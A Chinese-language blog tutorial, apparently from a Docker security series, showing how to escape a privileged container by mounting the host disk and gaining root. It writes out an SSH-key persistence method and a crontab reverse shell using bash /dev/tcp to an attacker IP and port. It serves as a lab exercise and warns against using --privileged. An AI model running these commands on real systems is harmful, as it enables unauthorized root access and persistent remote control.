iT邦幫忙

2023 iThome 鐵人賽

DAY 5
1

Yes

  • 今天要介紹的容器逃逸手法為只開放 privileged 的特權容器,跟上周介紹的把 host pid 掛進去容器不同,這次條件會相對嚴苛一些,就只開放 privileged 的特權容器,但對於容器逃逸來說已經很夠用了。/images/emoticon/emoticon01.gif

  • 環境建立步驟如下 :

    1. 開啟特權容器並且安裝 fdisk 工具確認裝置資訊
    #建立特權容器
    docker run --rm -it --privileged aeifkz/my-ubuntu:v1.0 bash ; 
    fdisk -l ;
    
    1. 將裝置資訊(此處為 /dev/sda2)掛載到任一目錄,並透過 chroot 進行切換。 chroot 相關資料可參考 chroot command in Linux with examples
    mount /dev/sda2 /mnt ;
    chroot /mnt bash ;
    ls /proc ; 
    
    1. 會觀察到根目錄切換成宿主機的根目錄,但僅限於檔案系統的內容,像是 /proc 這種虛擬檔案則無法看到,所以無法透過 nsenter 進行容器逃逸

    2. 接下來要透過修改檔案系統達到 RCE 的效果,可分為直接跟間接的方式。

  • 間接式 :

    • 透過修改使用者的認證資訊,再透過網路連線進行連接,比方說修改密碼或是新增 ssh 金鑰,再透過 ssh 連線連接伺服器。但需要知道宿主機的ip位址以及開啟 ssh 服務。

    • ssh 換 key 作法如下,參考 SSH 免密碼登入 :

      1. 在攻擊機上面執行產生金鑰指令
        ssh-keygen ;
        cat ~/.ssh/id_rsa.pub ;
      
      1. 在特權容器上面執行
        cd ~ ;
        mkdir -p .ssh;      
      
        # 調整權限,這部很重要!!!
        chmod 700 ~/.ssh/ 
      
        #沒檔案的話要建立檔案
        touch ~/.ssh/authorized_keys 
        chmod 644 ~/.ssh/authorized_keys
      
        # 將剛剛的公鑰貼上
        vim ~/.ssh/authorized_keys ; 
      
      1. 回到攻擊機上透過 ssh 連接宿主機器,則可以拿到宿主機 root 權限。
        ssh root@IP ;
        whoami ;
      
  • 直接式 :

    1. 在攻擊機上面監聽資訊
      #關閉防火牆服務
      sudo systemctl stop firewalld ; 
      nc -lp 8080 ;     
    
    1. 透過 crontab 產生排程打出 reverse shell,好處是不需要事先知道宿主機的 ip 位址。一樣是參考 iThome 鐵人賽系列的 Bind Shell / Reverse Shell 內的 bash 方式
      # 格式為 m h  dom mon dow   command
      # minute (m), hour (h), day of month (dom), month (mon), and day of week (dow)
      crontab -e ;
      # 輸入執行排程資訊
      */1 * * * * bash -i >& /dev/tcp/192.168.66.129/8080 0>&1
      # 透過 log 確認 crontab 執行結果
      grep CRON /var/log/syslog ;
    
    1. 參考 解决ubuntu crontab反弹shell失败的问题 這篇文章有詳盡的寫出如何偵錯以及修改。先把錯誤導出看看。
    #編輯排程
    crontab -e ; 
    */1 * * * * 'bash -i >& /dev/tcp/192.168.66.129/8080 0>&1' >/tmp/error.txt 2>&1 ; 
    cat /tmp/error.txt;
    
    1. 觀看錯誤會發現是透過 sh 執行該指令發生問題,而 ubuntu 預設的 sh 是指向 dash 而非 bash,因此調整腳本改呼叫 bash -c 指令去做即可。
    #編輯排程
    crontab -e ; 
    */1 * * * * bash -c "bash -i >&/dev/tcp/192.168.66.129/8080 0>&1"
    
  • 作業2

    • 可以試著建立 CentOS 7 的作業系統環境,並且試著透過特權容器掛載 Device 時會出現錯誤訊息如下所示,請想辦法克服這個問題。/images/emoticon/emoticon33.gif
      https://ithelp.ithome.com.tw/upload/images/20230912/201483081Tmmt17YLz.jpg
  • 今日總結 :

    • 本日回顧 :
      • 如同前日所說的不要隨便亂使用 --privileged這個參數。本日就說明了兩種手法進行容器逃逸。讓我比較深刻的是透過 crontab 打 reverse shell 居然有這麼細節的學問藏在裡面,看來以後沒做過不能隨便講句 "這邊打個 reverse shell 回去就好啦~~" 之類的。/images/emoticon/emoticon06.gif
    • 次日預告 :
      • 之前有提過容器隔離的兩個機制,namespace 跟 cgroups。cgroups的作用在於限制特定Process可以使用的系統資源。所以接下來會做個簡單的小 demo來呈現這個效果。至於容器逃逸的手法在我前次鐵人賽的時候就演示過了,所以可能就不做這個部分。

上一篇
Day04 - (攻擊) 容器逃逸手法 nsenter
下一篇
Day05 - 作業2解答 - CentOS 7 特權容器掛載根目錄
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言